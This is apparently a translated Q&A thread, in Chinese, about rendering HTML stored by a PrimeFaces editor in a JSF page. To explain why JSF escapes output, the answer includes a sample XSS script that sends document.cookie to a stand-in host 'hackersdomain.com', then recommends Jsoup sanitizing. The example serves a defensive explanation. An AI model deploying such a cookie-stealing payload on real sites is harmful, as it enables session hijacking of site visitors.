解释已保存在oracle数据库中的HTML标记

时间:2014-01-21 01:31:18

标签: html primefaces jsf-2.2

在我的应用程序中,用户使用primefaces <p:editor>创建一个声明,以便能够格式化和设置文本样式。文本正在使用其html标签保存,当我执行选择查询时,我得到文本没有解释标签。是否有一些函数或转换器来转换thoses标签以格式化从数据库返回的文本?

1 个答案:

答案 0 :(得分:1)

实际上,JSF默认会转义HTML特殊字符,以防止由不知情的开发人员引起的XSS攻击漏洞。想象一下,最终用户在<p:editor>中输入了以下内容:

<script>document.write('<img src="http://hackersdomain.com/fake.gif?' + escape(document.cookie) + '" width=0 height=0>');</script>

并且您的网站字面上解释说,在重新播放期间没有任何形式的HTML转义,黑客就会获得有关您网页访问者的会话cookie的所有信息,并轻松执行会话劫持攻击。

首先,您需要一个HTML解析器/清理程序,如Jsoup,以便在显示之前准备提交的数据(或保存在DB中,最好保存在另一列中)。

String sanitizedHTML = Jsoup.clean(unsafeHTML, Whitelist.basic());

然后,您可以使用<h:outputText>属性设置为escape的{​​{1}}安全地显示已清理的HTML:

false

另见: